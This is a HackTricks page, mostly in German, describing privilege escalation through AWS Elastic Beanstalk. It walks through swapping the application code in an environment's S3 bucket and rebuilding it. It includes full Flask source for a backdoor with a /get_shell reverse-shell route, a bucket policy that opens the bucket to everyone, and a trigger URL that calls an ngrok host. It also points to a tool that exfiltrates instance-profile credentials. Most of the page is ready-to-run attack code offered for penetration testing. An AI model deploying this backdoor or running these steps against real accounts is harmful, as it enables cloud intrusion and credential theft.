AWS - Elastic Beanstalk Privesc

Unterstützen Sie HackTricks

Elastic Beanstalk

Mehr Informationen über Elastic Beanstalk unter:

AWS - Elastic Beanstalk Enum

Um sensible Aktionen in Beanstalk durchzuführen, benötigen Sie viele sensible Berechtigungen in vielen verschiedenen Diensten. Sie können beispielsweise die Berechtigungen überprüfen, die an arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk erteilt wurden.

elasticbeanstalk:RebuildEnvironment, S3-Schreibberechtigungen & viele andere

Mit Schreibberechtigungen über den S3-Bucket, der den Code der Umgebung enthält, und Berechtigungen zum Neuaufbau der Anwendung (es ist elasticbeanstalk:RebuildEnvironment erforderlich und einige weitere in Bezug auf S3, EC2 und Cloudformation), können Sie den Code ändern, die App neu erstellen und beim nächsten Zugriff auf die App wird Ihr neuer Code ausgeführt, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, und mehr...

Die genannten Berechtigungen sowie mehrere S3, EC2, cloudformation, autoscaling und elasticloadbalancing Berechtigungen sind erforderlich, um ein einfaches Elastic Beanstalk-Szenario von Grund auf zu erstellen.

  • Erstellen einer AWS Elastic Beanstalk-Anwendung:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Wenn eine Umgebung bereits erstellt wurde und Sie keine neue erstellen möchten, könnten Sie einfach die vorhandene aktualisieren.

  • Verpacken Sie Ihren Anwendungscode und die Abhängigkeiten in eine ZIP-Datei:

zip -r MyApp.zip .
  • Lade die ZIP-Datei in einen S3-Bucket hoch:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Erstellen Sie eine AWS Elastic Beanstalk-Anwendungsversion:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Bereitstellen der Anwendungsversion in Ihrer AWS Elastic Beanstalk-Umgebung:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Zunächst müssen Sie eine legitime Beanstalk-Umgebung mit dem Code erstellen, den Sie im Opfer gemäß den vorherigen Schritten ausführen möchten. Möglicherweise ein einfaches Zip mit diesen 2 Dateien:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Anforderungen:

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Sobald Sie Ihre eigene Beanstalk-Umgebung ausgeführt haben und Ihre Reverse-Shell haben, ist es an der Zeit, sie in die Umgebung des Opfers zu migrieren. Dazu müssen Sie die Bucket-Richtlinie aktualisieren Ihres Beanstalk S3-Buckets, damit das Opfer darauf zugreifen kann (Beachten Sie, dass dies den Bucket für ALLE öffnet):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Unterstützen Sie HackTricks

Last updated